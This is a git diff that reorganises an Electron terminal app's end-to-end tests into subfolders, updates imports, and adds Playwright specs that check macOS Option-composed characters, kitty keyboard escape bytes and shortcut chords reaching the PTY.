waitForActivePanePtyId, - waitForActiveTerminalManager -} from './helpers/terminal' + ensureTerminalVisible, + waitForActiveWorktree, + waitForSessionReady +} from '../../desktop/renderer-probes/store' +import { focusActiveTerminalInput, waitForActivePanePtyId } from '../input/terminal' +import { sendToTerminal, waitForActiveTerminalManager } from '../layout/terminal-pane-operations' +import { getTerminalContent } from '../layout/terminal-pane-identity' import { attachTerminalImeBoundaryEvidence, disposeTerminalImeBoundaryProbe, diff --git a/tests/e2e/terminal-ime-platform-policy.ts b/tests/e2e/terminal/ime/terminal-ime-platform-policy.ts similarity index 100% rename from tests/e2e/terminal-ime-platform-policy.ts rename to tests/e2e/terminal/ime/terminal-ime-platform-policy.ts diff --git a/tests/e2e/terminal-ime-preedit-overlay-probe.ts b/tests/e2e/terminal/ime/terminal-ime-preedit-overlay-probe.ts similarity index 100% rename from tests/e2e/terminal-ime-preedit-overlay-probe.ts rename to tests/e2e/terminal/ime/terminal-ime-preedit-overlay-probe.ts diff --git a/tests/e2e/terminal-ime-recorded-dom-trace-replay.ts b/tests/e2e/terminal/ime/terminal-ime-recorded-dom-trace-replay.ts similarity index 100% rename from tests/e2e/terminal-ime-recorded-dom-trace-replay.ts rename to tests/e2e/terminal/ime/terminal-ime-recorded-dom-trace-replay.ts diff --git a/tests/e2e/terminal-korean-preedit-visibility.spec.ts b/tests/e2e/terminal/ime/terminal-korean-preedit-visibility.spec.ts similarity index 66% rename from tests/e2e/terminal-korean-preedit-visibility.spec.ts rename to tests/e2e/terminal/ime/terminal-korean-preedit-visibility.spec.ts index 0aa240723bf..a63df7109be 100644 --- a/tests/e2e/terminal-korean-preedit-visibility.spec.ts +++ b/tests/e2e/terminal/ime/terminal-korean-preedit-visibility.spec.ts @@ -1,7 +1,8 @@ // Assert real preedit geometry: PTY byte checks passed while hidden overlays left users composing blind. // CDP imeSetComposition opens Chromium composition without native IME/accessibility grants, enabling normal headless CI coverage. -import { expect, test } from './helpers/orca-app' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { closeTerminalImePaneArena, openTerminalImePaneArena } from './terminal-ime-pane-arena' import { commitImeText, @@ -16,7 +17,7 @@ import { startTerminalImeByteReader, waitForTerminalImeBytes } from './terminal-ime-byte-reader' -import { expectPreeditHidden, expectPreeditRendered } from './terminal-ime-preedit-overlay-probe' +import './terminal-ime-preedit-overlay-probe' /** 2-Set Korean maps each jamo to a QWERTY position; the IME rewrites `key` to the jamo itself. */ const JAMO: Record = { @@ -43,40 +44,6 @@ const GEUL_FRAMES = [ ] as const test.describe('Terminal 2-Set Korean preedit visibility', () => { - test('shows every assembling jamo at non-zero size and commits the syllable ahead of the newline', async ({ - orcaPage, - testRepoPath - }, testInfo) => { - const arena = await openTerminalImePaneArena(orcaPage) - const reader = createTerminalImeByteReader(testRepoPath, 1) - let completed = false - try { - await startTerminalImeByteReader(orcaPage, arena.ptyId, reader) - await expectPreeditHidden(orcaPage, 'before composing') - - for (const frame of HAN_FRAMES) { - await composeHangulSyllable(arena.session, orcaPage, [frame]) - await expectPreeditRendered(orcaPage, frame.preedit, `composing ${frame.preedit}`) - } - - await commitImeText(arena.session, '한') - await expectPreeditHidden(orcaPage, 'after committing 한') - - await dispatchPlainEnter(arena.session) - - const received = await waitForTerminalImeBytes(orcaPage, reader) - expect(received).toEqual([Buffer.from('한\n').toString('hex')]) - - const trace = await readTerminalImeBoundaryTrace(orcaPage) - // The ordering the user reported as broken: the syllable must precede the newline. - expect(trace.onData.join('')).toBe('한\r') - completed = true - } finally { - await closeTerminalImePaneArena(arena, testInfo, 'korean-preedit-visibility', !completed) - removeTerminalImeByteReader(reader) - } - }) - test('loses and duplicates nothing when back-to-back syllables commit at full speed', async ({ orcaPage, testRepoPath diff --git a/tests/e2e/terminal-linux-claimed-preedit-selector.spec.ts b/tests/e2e/terminal/ime/terminal-linux-claimed-preedit-selector.spec.ts similarity index 96% rename from tests/e2e/terminal-linux-claimed-preedit-selector.spec.ts rename to tests/e2e/terminal/ime/terminal-linux-claimed-preedit-selector.spec.ts index ee15d266dc6..eb50f2b497f 100644 --- a/tests/e2e/terminal-linux-claimed-preedit-selector.spec.ts +++ b/tests/e2e/terminal/ime/terminal-linux-claimed-preedit-selector.spec.ts @@ -1,5 +1,6 @@ import type { CDPSession } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { createTerminalImeByteReader, removeTerminalImeByteReader, diff --git a/tests/e2e/terminal/ime/terminal-option-composed-ascii.spec.ts b/tests/e2e/terminal/ime/terminal-option-composed-ascii.spec.ts new file mode 100644 index 00000000000..02d62163f76 --- /dev/null +++ b/tests/e2e/terminal/ime/terminal-option-composed-ascii.spec.ts @@ -0,0 +1,174 @@ +// Option composition must survive kitty negotiation (#14024, #20171, #20850). + +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import '../input/terminal' + +import { waitForTerminalOutput } from '../layout/terminal-pane-operations' +import { clearTerminalPtyWriteLog as clearPtyWriteLog } from '../input/terminal-pty-write-spy' +import { + setMacOptionAsAlt, + pressOptionComposedKey, + setUpOptionKeyboardPane +} from './terminal-option-key-input' + +test.describe('Option-composed text in a kitty-keyboard pane', () => { + test.skip(process.platform !== 'darwin', 'Option composition is a macOS-only input path (#14024)') + + test('types the composed character instead of reporting the physical Alt chord', async ({ + orcaPage, + electronApp + }) => { + const { joinedWrites } = await setUpOptionKeyboardPane(orcaPage, electronApp) + await setMacOptionAsAlt(orcaPage, 'false') + await clearPtyWriteLog(electronApp) + + // Turkish Q: the physical `q` key composes `@`. + const dispatch = await pressOptionComposedKey(orcaPage, { key: '@', code: 'KeyQ' }) + expect(dispatch.keydownDefaultPrevented).toBe(true) + + await expect + .poll(joinedWrites, { + timeout: 5_000, + message: 'Option-composed `@` never reached the PTY' + }) + .toContain('@') + // \x1b[113;3u is alt+q — the chord that swallowed the character in #14024. + expect(await joinedWrites()).not.toContain('\x1b[113;3u') + }) + + test('types a composed character that also needs Shift', async ({ orcaPage, electronApp }) => { + const { joinedWrites } = await setUpOptionKeyboardPane(orcaPage, electronApp) + await setMacOptionAsAlt(orcaPage, 'false') + await clearPtyWriteLog(electronApp) + + // QWERTZ-class layouts put `\` on the shifted Option layer (Option+Shift+7), + // where no other chord can reach it. + const dispatch = await pressOptionComposedKey(orcaPage, { + key: '\\', + code: 'Digit7', + shiftKey: true + }) + expect(dispatch.keydownDefaultPrevented).toBe(true) + + await expect + .poll(joinedWrites, { + timeout: 5_000, + message: 'Option+Shift-composed `\\` never reached the PTY' + }) + .toContain('\\') + expect(await joinedWrites()).not.toContain('\x1b[55;4u') + }) + + test('keeps non-ASCII Option glyphs as TUI hotkeys when configured as Alt', async ({ + orcaPage, + electronApp + }) => { + const { joinedWrites } = await setUpOptionKeyboardPane(orcaPage, electronApp) + await setMacOptionAsAlt(orcaPage, 'true') + await clearPtyWriteLog(electronApp) + + // #8031: OMP-class TUIs bind Option+P, which composes the non-ASCII `π`. + const dispatch = await pressOptionComposedKey(orcaPage, { key: 'π', code: 'KeyP' }) + expect(dispatch.keydownDefaultPrevented).toBe(true) + + await expect + .poll(joinedWrites, { + timeout: 5_000, + message: 'Option+P did not reach the TUI as the alt+p hotkey' + }) + .toContain('\x1b[112;3u') + expect(await joinedWrites()).not.toContain('π') + }) + + test('types all Polish letters once under Claude flags and updates the mounted pane setting', async ({ + orcaPage, + electronApp + }) => { + const { joinedWrites } = await setUpOptionKeyboardPane(orcaPage, electronApp, 5) + await setMacOptionAsAlt(orcaPage, 'false') + await clearPtyWriteLog(electronApp) + const letters = [ + ['a', 'ą'], + ['c', 'ć'], + ['e', 'ę'], + ['l', 'ł'], + ['n', 'ń'], + ['o', 'ó'], + ['s', 'ś'], + ['x', 'ź'], + ['z', 'ż'] + ] + for (const [base, key] of letters) { + await pressOptionComposedKey(orcaPage, { key, code: `Key${base.toUpperCase()}` }) + await pressOptionComposedKey(orcaPage, { + key: key.toUpperCase(), + code: `Key${base.toUpperCase()}`, + shiftKey: true + }) + } + await expect.poll(joinedWrites).toBe('ąĄćĆęĘłŁńŃóÓśŚźŹżŻ') + await setMacOptionAsAlt(orcaPage, 'true') + await clearPtyWriteLog(electronApp) + await pressOptionComposedKey(orcaPage, { key: 'ą', code: 'KeyA' }) + await expect.poll(joinedWrites).toBe('\x1b[97;3u') + await setMacOptionAsAlt(orcaPage, 'false') + await clearPtyWriteLog(electronApp) + await pressOptionComposedKey(orcaPage, { key: 'ą', code: 'KeyA' }) + await expect.poll(joinedWrites).toBe('ą') + }) + + test('reports Polish associated text once under report-all flags', async ({ + orcaPage, + electronApp + }) => { + const { joinedWrites } = await setUpOptionKeyboardPane(orcaPage, electronApp, 29) + await setMacOptionAsAlt(orcaPage, 'false') + await clearPtyWriteLog(electronApp) + await pressOptionComposedKey(orcaPage, { key: 'ą', code: 'KeyA' }) + await expect.poll(joinedWrites).toBe('\x1b[97;3;261u') + }) + + test('renders Polish words entered through Chromium keyboard events', async ({ + orcaPage, + electronApp + }, testInfo) => { + const { joinedWrites } = await setUpOptionKeyboardPane(orcaPage, electronApp, 5) + await setMacOptionAsAlt(orcaPage, 'false') + await clearPtyWriteLog(electronApp) + const cdp = await orcaPage.context().newCDPSession(orcaPage) + const bases: Record = { + ą: 'a', + ć: 'c', + ę: 'e', + ł: 'l', + ń: 'n', + ó: 'o', + ś: 's', + ź: 'x', + ż: 'z' + } + const phrase = 'zażółć wcześniej łącznie' + try { + for (const key of phrase) { + const base = bases[key] ?? key + const code = key === ' ' ? 'Space' : `Key${base.toUpperCase()}` + const modifiers = bases[key] ? 1 : 0 + await cdp.send('Input.dispatchKeyEvent', { + type: 'keyDown', + key, + code, + modifiers, + text: key, + unmodifiedText: base + }) + await cdp.send('Input.dispatchKeyEvent', { type: 'keyUp', key, code, modifiers }) + } + await expect.poll(joinedWrites).toBe(phrase) + await waitForTerminalOutput(orcaPage, phrase) + await orcaPage.screenshot({ path: testInfo.outputPath('polish-words.png') }) + } finally { + await cdp.detach() + } + }) +}) diff --git a/tests/e2e/terminal-option-key-input.ts b/tests/e2e/terminal/ime/terminal-option-key-input.ts similarity index 93% rename from tests/e2e/terminal-option-key-input.ts rename to tests/e2e/terminal/ime/terminal-option-key-input.ts index b2d0858ce2a..9c4b25621d4 100644 --- a/tests/e2e/terminal-option-key-input.ts +++ b/tests/e2e/terminal/ime/terminal-option-key-input.ts @@ -1,16 +1,18 @@ import type { CDPSession, ElectronApplication, Page } from '@stablyai/playwright-test' -import { expect } from './helpers/orca-app' +import '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { waitForActivePanePtyId } from '../input/terminal' +import { execInTerminal, waitForActiveTerminalManager } from '../layout/terminal-pane-operations' import { - execInTerminal, - waitForActiveTerminalManager, - waitForActivePanePtyId -} from './helpers/terminal' -import { waitForSessionReady, waitForActiveWorktree, ensureTerminalVisible } from './helpers/store' + waitForSessionReady, + waitForActiveWorktree, + ensureTerminalVisible +} from '../../desktop/renderer-probes/store' import { installTerminalPtyWriteSpy as installMainProcessPtyWriteSpy, readTerminalPtyWrites as getPtyWrites -} from './helpers/terminal-pty-write-spy' -import type { KeyboardLayoutSnapshot } from '../../src/shared/keybindings/keyboard-layout-snapshot' +} from '../input/terminal-pty-write-spy' +import type { KeyboardLayoutSnapshot } from '../../../../src/shared/keybindings/keyboard-layout-snapshot' type MacOptionAsAltSetting = 'auto' | 'true' | 'false' | 'left' | 'right' diff --git a/tests/e2e/terminal-wayland-input-diagnostics.ts b/tests/e2e/terminal/ime/terminal-wayland-input-diagnostics.ts similarity index 100% rename from tests/e2e/terminal-wayland-input-diagnostics.ts rename to tests/e2e/terminal/ime/terminal-wayland-input-diagnostics.ts diff --git a/tests/e2e/codex-composer-echo-latency-probe.ts b/tests/e2e/terminal/input-latency/codex-composer-echo-latency-probe.ts similarity index 100% rename from tests/e2e/codex-composer-echo-latency-probe.ts rename to tests/e2e/terminal/input-latency/codex-composer-echo-latency-probe.ts diff --git a/tests/e2e/helpers/dead-terminal.ts b/tests/e2e/terminal/input/dead-terminal.ts similarity index 95% rename from tests/e2e/helpers/dead-terminal.ts rename to tests/e2e/terminal/input/dead-terminal.ts index 94bc01228dd..ceb57f3e304 100644 --- a/tests/e2e/helpers/dead-terminal.ts +++ b/tests/e2e/terminal/input/dead-terminal.ts @@ -1,7 +1,11 @@ /** Regression fixtures for manual split rendering, switching and WebGL recovery. */ import { expect } from '@playwright/test' -import type { getActiveWorktreeId } from './store' -import { splitActiveTerminalPane, waitForActiveTerminalManager } from './terminal' +import type { getActiveWorktreeId } from '../../desktop/renderer-probes/store' +import './terminal' +import { + splitActiveTerminalPane, + waitForActiveTerminalManager +} from '../layout/terminal-pane-operations' type TestPage = Parameters[0] diff --git a/tests/e2e/helpers/run-node-script-in-terminal.ts b/tests/e2e/terminal/input/run-node-script-in-terminal.ts similarity index 94% rename from tests/e2e/helpers/run-node-script-in-terminal.ts rename to tests/e2e/terminal/input/run-node-script-in-terminal.ts index fbfe01e27cb..74784743a82 100644 --- a/tests/e2e/helpers/run-node-script-in-terminal.ts +++ b/tests/e2e/terminal/input/run-node-script-in-terminal.ts @@ -3,7 +3,8 @@ import { mkdirSync, rmSync, writeFileSync } from 'node:fs' import { tmpdir } from 'node:os' import path from 'node:path' import type { Page } from '@stablyai/playwright-test' -import { sendToTerminal } from './terminal' +import './terminal' +import { sendToTerminal } from '../layout/terminal-pane-operations' export type StagedTerminalNodeScript = { // Shell-agnostic command without a trailing carriage return. diff --git a/tests/e2e/helpers/terminal-accessibility-tree.ts b/tests/e2e/terminal/input/terminal-accessibility-tree.ts similarity index 100% rename from tests/e2e/helpers/terminal-accessibility-tree.ts rename to tests/e2e/terminal/input/terminal-accessibility-tree.ts diff --git a/tests/e2e/helpers/terminal-active-pane.ts b/tests/e2e/terminal/input/terminal-active-pane.ts similarity index 97% rename from tests/e2e/helpers/terminal-active-pane.ts rename to tests/e2e/terminal/input/terminal-active-pane.ts index 4fc7eca0634..0c40a494a09 100644 --- a/tests/e2e/helpers/terminal-active-pane.ts +++ b/tests/e2e/terminal/input/terminal-active-pane.ts @@ -1,10 +1,10 @@ import { expect, type Page } from '@stablyai/playwright-test' -import { buildFreshShellProbeInputSequence } from '../terminal-probe-input-sequence' +import { buildFreshShellProbeInputSequence } from './terminal-probe-input-sequence' import { getTerminalContent, resolveActiveTabId, type ActivePaneHookDescriptor -} from './terminal-pane-identity' +} from '../layout/terminal-pane-identity' export async function waitForActivePaneHookDescriptor( page: Page, diff --git a/tests/e2e/helpers/terminal-input-probes.ts b/tests/e2e/terminal/input/terminal-input-probes.ts similarity index 97% rename from tests/e2e/helpers/terminal-input-probes.ts rename to tests/e2e/terminal/input/terminal-input-probes.ts index 41707921b94..9301ca71e99 100644 --- a/tests/e2e/helpers/terminal-input-probes.ts +++ b/tests/e2e/terminal/input/terminal-input-probes.ts @@ -3,8 +3,9 @@ // Use Page probes with healthy CDP; after a renderer crash, execute through main because CDP is severed. import { expect, type ElectronApplication, type Page } from '@stablyai/playwright-test' -import { sendToTerminal, waitForTerminalOutput } from './terminal' -import { buildSettledShellProbeInputSequence } from '../terminal-probe-input-sequence' +import './terminal' +import { sendToTerminal, waitForTerminalOutput } from '../layout/terminal-pane-operations' +import { buildSettledShellProbeInputSequence } from './terminal-probe-input-sequence' export async function probeDirectWrite( page: Page, diff --git a/tests/e2e/helpers/terminal-kitty-file-image-proof.ts b/tests/e2e/terminal/input/terminal-kitty-file-image-proof.ts similarity index 95% rename from tests/e2e/helpers/terminal-kitty-file-image-proof.ts rename to tests/e2e/terminal/input/terminal-kitty-file-image-proof.ts index 464bf0bbbae..af8a8670874 100644 --- a/tests/e2e/helpers/terminal-kitty-file-image-proof.ts +++ b/tests/e2e/terminal/input/terminal-kitty-file-image-proof.ts @@ -1,9 +1,10 @@ import { expect, type ElectronApplication, type Page } from '@stablyai/playwright-test' import { PNG } from 'pngjs' -import { quotePosixShell } from '../../../src/shared/shell/launch/shell-argument-quoting' -import { nodeTerminalCommand } from '../terminal-node-command' -import { execInTerminal, waitForTerminalOutput } from './terminal' -import { readInlineImageState } from './terminal-inline-image-proof' +import { quotePosixShell } from '../../../../src/shared/shell/launch/shell-argument-quoting' +import { nodeTerminalCommand } from './terminal-node-command' +import './terminal' +import { execInTerminal, waitForTerminalOutput } from '../layout/terminal-pane-operations' +import { readInlineImageState } from '../rendering/terminal-inline-image-proof' export type KittyFileImageColor = 'cyan' | 'magenta' diff --git a/tests/e2e/helpers/terminal-kitty-keyboard.ts b/tests/e2e/terminal/input/terminal-kitty-keyboard.ts similarity index 95% rename from tests/e2e/helpers/terminal-kitty-keyboard.ts rename to tests/e2e/terminal/input/terminal-kitty-keyboard.ts index 3f3da35def9..b843490b53f 100644 --- a/tests/e2e/helpers/terminal-kitty-keyboard.ts +++ b/tests/e2e/terminal/input/terminal-kitty-keyboard.ts @@ -1,6 +1,8 @@ import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { expect } from './orca-app' -import { execInTerminal, focusActiveTerminalInput } from './terminal' +import '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { focusActiveTerminalInput } from './terminal' +import { execInTerminal } from '../layout/terminal-pane-operations' import { clearTerminalPtyWriteLog, readTerminalPtyWrites } from './terminal-pty-write-spy' async function dispatchCtrlCToActiveTerminalTextarea( diff --git a/tests/e2e/terminal-marker-echo-command.ts b/tests/e2e/terminal/input/terminal-marker-echo-command.ts similarity index 100% rename from tests/e2e/terminal-marker-echo-command.ts rename to tests/e2e/terminal/input/terminal-marker-echo-command.ts diff --git a/tests/e2e/terminal-node-command.ts b/tests/e2e/terminal/input/terminal-node-command.ts similarity index 73% rename from tests/e2e/terminal-node-command.ts rename to tests/e2e/terminal/input/terminal-node-command.ts index 0b3e980856f..4eed13aeb4b 100644 --- a/tests/e2e/terminal-node-command.ts +++ b/tests/e2e/terminal/input/terminal-node-command.ts @@ -1,5 +1,5 @@ -import { quotePowerShellLiteral } from '../../src/shared/shell/launch/powershell-native-argument' -import { quotePosixShell } from '../../src/shared/shell/launch/shell-argument-quoting' +import { quotePowerShellLiteral } from '../../../../src/shared/shell/launch/powershell-native-argument' +import { quotePosixShell } from '../../../../src/shared/shell/launch/shell-argument-quoting' function quoteTerminalArg(value: string): string { return process.platform === 'win32' ? quotePowerShellLiteral(value) : quotePosixShell(value) diff --git a/tests/e2e/terminal-paste-ownership.spec.ts b/tests/e2e/terminal/input/terminal-paste-ownership.spec.ts similarity index 60% rename from tests/e2e/terminal-paste-ownership.spec.ts rename to tests/e2e/terminal/input/terminal-paste-ownership.spec.ts index 0870f0ab253..0ed3c5863c4 100644 --- a/tests/e2e/terminal-paste-ownership.spec.ts +++ b/tests/e2e/terminal/input/terminal-paste-ownership.spec.ts @@ -1,21 +1,25 @@ import { randomUUID } from 'node:crypto' import { rmSync, writeFileSync } from 'node:fs' import path from 'node:path' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' + +import { test } from '../../desktop/electron-fixtures/orca-app' +import { type Page, expect } from '@stablyai/playwright-test' +import { focusActiveTerminalInput, waitForActivePanePtyId } from './terminal' import { - focusActiveTerminalInput, sendToTerminal, - waitForActivePanePtyId, waitForActiveTerminalManager, waitForTerminalOutput -} from './helpers/terminal' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' +} from '../layout/terminal-pane-operations' +import { + ensureTerminalVisible, + waitForActiveWorktree, + waitForSessionReady +} from '../../desktop/renderer-probes/store' import { clearTerminalPtyWriteLog, installTerminalPtyWriteSpy, readTerminalPtyWrites -} from './helpers/terminal-pty-write-spy' +} from './terminal-pty-write-spy' function keyboardPasteChords(): string[] { return process.platform === 'darwin' @@ -88,57 +92,6 @@ async function rightClickActiveTerminalSurface(page: Page): Promise { await page.mouse.click(point.x, point.y, { button: 'right' }) } -async function installClipboardReadTerminalBlurRepro( - app: ElectronApplication, - focusMoveScript: string -): Promise { - await app.evaluate(({ BrowserWindow, ipcMain }, focusMoveScript) => { - type ClipboardReadHandler = (event: unknown, ...args: unknown[]) => unknown - const global = globalThis as unknown as { - __orcaOriginalClipboardReadTextHandler?: ClipboardReadHandler - } - const invokeHandlers = ( - ipcMain as unknown as { - _invokeHandlers?: Map - } - )._invokeHandlers - const handler = invokeHandlers?.get('clipboard:readText') - if (!invokeHandlers || !handler || global.__orcaOriginalClipboardReadTextHandler) { - return - } - global.__orcaOriginalClipboardReadTextHandler = handler - invokeHandlers.set('clipboard:readText', async (event, ...args) => { - const windows = BrowserWindow.getAllWindows().filter((window) => !window.isDestroyed()) - await Promise.all( - windows.map((window) => - window.webContents.executeJavaScript(focusMoveScript).catch(() => undefined) - ) - ) - // Why: reproduce the focus churn window before the async clipboard read resolves. - await new Promise((resolve) => setTimeout(resolve, 0)) - return global.__orcaOriginalClipboardReadTextHandler!(event, ...args) - }) - }, focusMoveScript) -} - -async function restoreClipboardReadTerminalBlurRepro(app: ElectronApplication): Promise { - await app.evaluate(({ ipcMain }) => { - type ClipboardReadHandler = (event: unknown, ...args: unknown[]) => unknown - const global = globalThis as unknown as { - __orcaOriginalClipboardReadTextHandler?: ClipboardReadHandler - } - const invokeHandlers = ( - ipcMain as unknown as { - _invokeHandlers?: Map - } - )._invokeHandlers - if (invokeHandlers && global.__orcaOriginalClipboardReadTextHandler) { - invokeHandlers.set('clipboard:readText', global.__orcaOriginalClipboardReadTextHandler) - delete global.__orcaOriginalClipboardReadTextHandler - } - }) -} - async function openTerminalContextMenu(page: Page): Promise { const isWindows = await page.evaluate(() => navigator.userAgent.includes('Windows')) const isMac = await page.evaluate(() => navigator.userAgent.includes('Mac')) @@ -198,84 +151,6 @@ test.describe('terminal paste ownership', () => { } }) - test('keyboard paste lands unless another input takes focus during clipboard read', async ({ - electronApp, - orcaPage, - testRepoPath - }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - await installTerminalPtyWriteSpy(electronApp) - - const ptyId = await waitForActivePanePtyId(orcaPage) - const runId = randomUUID() - const scriptPath = path.join(testRepoPath, `.orca-paste-blur-${runId}.mjs`) - writeFileSync(scriptPath, pasteEchoScript(runId)) - let scriptStarted = false - // Why: executeJavaScript shares one global scope, so a top-level const would clash on the next case. - const focusOutside = (tag: string): string => ` - (() => { - const el = document.createElement('${tag}'); - el.tabIndex = -1; - el.dataset.e2ePasteFocus = ''; - document.body.appendChild(el); - el.focus(); - })(); - ` - // Dictation tools and overlays move focus mid-paste; only another input may take the paste. - const cases = [ - { - name: 'blur to body', - focusMoveScript: ` - (document.activeElement && document.activeElement.blur && document.activeElement.blur()); - document.body.tabIndex = -1; - document.body.focus(); - `, - lands: true - }, - { name: 'non-input control', focusMoveScript: focusOutside('div'), lands: true }, - { name: 'text input', focusMoveScript: focusOutside('input'), lands: false } - ] - - try { - await sendToTerminal(orcaPage, ptyId, `node ${JSON.stringify(scriptPath)}\r`) - scriptStarted = true - await waitForTerminalOutput(orcaPage, `PASTE_READY_${runId}`, 10_000) - - for (const [index, { name, focusMoveScript, lands }] of cases.entries()) { - const payload = `ORCA_E2E_FOCUS_MOVE_PASTE_${runId}_${index}` - const encodedPayload = Buffer.from(payload, 'utf8').toString('base64') - await clearTerminalPtyWriteLog(electronApp) - await orcaPage.evaluate((text) => window.api.ui.writeClipboardText(text), payload) - await focusActiveTerminalInput(orcaPage) - await installClipboardReadTerminalBlurRepro(electronApp, focusMoveScript) - - await orcaPage.keyboard.press(keyboardPasteChords()[0]) - await (lands - ? waitForTerminalOutput(orcaPage, encodedPayload, 10_000, 12_000) - : expect( - orcaPage.getByText('Paste cancelled: terminal focus changed before paste started.') - ).toBeVisible()) - - const writes = (await readTerminalPtyWrites(electronApp)).join('') - expect(countOccurrences(writes, payload), `${name} PTY write count`).toBe(lands ? 1 : 0) - await restoreClipboardReadTerminalBlurRepro(electronApp) - await orcaPage.evaluate(() => - document.querySelectorAll('[data-e2e-paste-focus]').forEach((el) => el.remove()) - ) - } - } finally { - await restoreClipboardReadTerminalBlurRepro(electronApp).catch(() => undefined) - if (scriptStarted) { - await focusActiveTerminalInput(orcaPage).catch(() => undefined) - await sendToTerminal(orcaPage, ptyId, '\x03').catch(() => undefined) - } - rmSync(scriptPath, { force: true }) - } - }) - test('terminal context-menu Paste sends clipboard text exactly once', async ({ electronApp, orcaPage, diff --git a/tests/e2e/terminal-probe-input-sequence.ts b/tests/e2e/terminal/input/terminal-probe-input-sequence.ts similarity index 100% rename from tests/e2e/terminal-probe-input-sequence.ts rename to tests/e2e/terminal/input/terminal-probe-input-sequence.ts diff --git a/tests/e2e/helpers/terminal-pty-injection.ts b/tests/e2e/terminal/input/terminal-pty-injection.ts similarity index 100% rename from tests/e2e/helpers/terminal-pty-injection.ts rename to tests/e2e/terminal/input/terminal-pty-injection.ts diff --git a/tests/e2e/helpers/terminal-pty-write-spy.ts b/tests/e2e/terminal/input/terminal-pty-write-spy.ts similarity index 96% rename from tests/e2e/helpers/terminal-pty-write-spy.ts rename to tests/e2e/terminal/input/terminal-pty-write-spy.ts index 0b1b8206971..8c51b955de5 100644 --- a/tests/e2e/helpers/terminal-pty-write-spy.ts +++ b/tests/e2e/terminal/input/terminal-pty-write-spy.ts @@ -1,6 +1,6 @@ import type { ElectronApplication } from '@stablyai/playwright-test' -import { retryTransientMainEvaluate } from './electron-main-evaluate-retry' +import { retryTransientMainEvaluate } from '../../desktop/electron-fixtures/electron-main-evaluate-retry' export type PtyWriteLogEntry = { id: string; data: string } diff --git a/tests/e2e/terminal/input/terminal-shortcuts.spec.ts b/tests/e2e/terminal/input/terminal-shortcuts.spec.ts new file mode 100644 index 00000000000..5290e51a84c --- /dev/null +++ b/tests/e2e/terminal/input/terminal-shortcuts.spec.ts @@ -0,0 +1,150 @@ +// Drive DOM keydown→capture→policy→transport→IPC for every terminal chord. +// Intercept main pty:write for exact bytes without OS-specific readline; assert action effects through panes/search/buffer. +// Skip platform-only chords where runtime policy would never emit them. + +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import type { ElectronApplication, Page } from '@stablyai/playwright-test' +import '../../../../src/shared/workspace/identity/floating-workspace-id' +import { waitForActivePanePtyId, focusActiveTerminalInput } from './terminal' +import { waitForActiveTerminalManager, waitForPaneCount } from '../layout/terminal-pane-operations' +import { + waitForSessionReady, + waitForActiveWorktree, + ensureTerminalVisible +} from '../../desktop/renderer-probes/store' +import { + clearTerminalPtyWriteLog as clearPtyWriteLog, + installTerminalPtyWriteSpy as installMainProcessPtyWriteSpy, + readTerminalPtyWrites as getPtyWrites +} from './terminal-pty-write-spy' +import './terminal-kitty-keyboard' + +async function setActivePaneForegroundAgent( + page: Page, + agent: 'droid' | 'antigravity' | null +): Promise { + return page.evaluate((agent) => { + const state = window.__store?.getState() + const worktreeId = state?.activeWorktreeId + const tabId = + state?.activeTabType === 'terminal' + ? state.activeTabId + : worktreeId + ? (state?.activeTabIdByWorktree?.[worktreeId] ?? null) + : null + const manager = tabId ? window.__paneManagers?.get(tabId) : null + const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null + if (!state || !tabId || !pane) { + throw new Error('No active terminal pane for foreground-agent setup') + } + const paneKey = `${tabId}:${pane.leafId}` + state.setPaneForegroundAgent(paneKey, { + agent, + shellForeground: false, + // The shortcut only emits CSI-u for a process identity confirmed to + // belong to this PTY; keep the fixture aligned with that trust gate. + routingTrusted: agent === 'droid' + }) + return paneKey + }, agent) +} + +async function pressAndExpectWrite( + page: Page, + app: ElectronApplication, + chord: string, + expectedData: string, + repetitions = 1 +): Promise { + await clearPtyWriteLog(app) + await focusActiveTerminalInput(page) + for (let index = 0; index < repetitions; index++) { + await page.keyboard.press(chord) + } + + // Match exact bytes: single control codes can occur inside unrelated prompt/paste writes. + await expect + .poll(async () => (await getPtyWrites(app)).filter((write) => write === expectedData).length, { + timeout: 5_000, + message: `Expected chord "${chord}" to write ${JSON.stringify(expectedData)}` + }) + .toBeGreaterThanOrEqual(repetitions) +} + +// Serialize shared layout/buffer/expand state and the singleton main pty:write spy to prevent interleaved chord effects. +test.describe.configure({ mode: 'serial' }) +test.describe('Terminal Shortcuts', () => { + test.beforeEach(async ({ orcaPage }) => { + await waitForSessionReady(orcaPage) + await waitForActiveWorktree(orcaPage) + await ensureTerminalVisible(orcaPage) + const hasPaneManager = await waitForActiveTerminalManager(orcaPage, 30_000) + .then(() => true) + .catch(() => false) + test.skip( + !hasPaneManager, + 'Electron automation in this environment never mounts the live TerminalPane manager.' + ) + await waitForPaneCount(orcaPage, 1, 30_000) + }) + + test('Droid gets CSI-u Shift+Enter on Windows without changing Antigravity', async ({ + orcaPage, + electronApp + }) => { + test.skip(process.platform !== 'win32', 'Windows ConPTY encoding contract') + await installMainProcessPtyWriteSpy(electronApp) + await waitForActivePanePtyId(orcaPage) + const paneKey = await setActivePaneForegroundAgent(orcaPage, 'droid') + try { + await pressAndExpectWrite(orcaPage, electronApp, 'Shift+Enter', '\x1b[13;2u', 2) + await setActivePaneForegroundAgent(orcaPage, 'antigravity') + await pressAndExpectWrite(orcaPage, electronApp, 'Shift+Enter', '\x1b\r') + } finally { + await orcaPage.evaluate( + (key) => window.__store?.getState().clearPaneForegroundAgent(key), + paneKey + ) + } + }) + + test('Windows forwards genuine Ctrl+Alt text chords to the PTY', async ({ + orcaPage, + electronApp + }) => { + 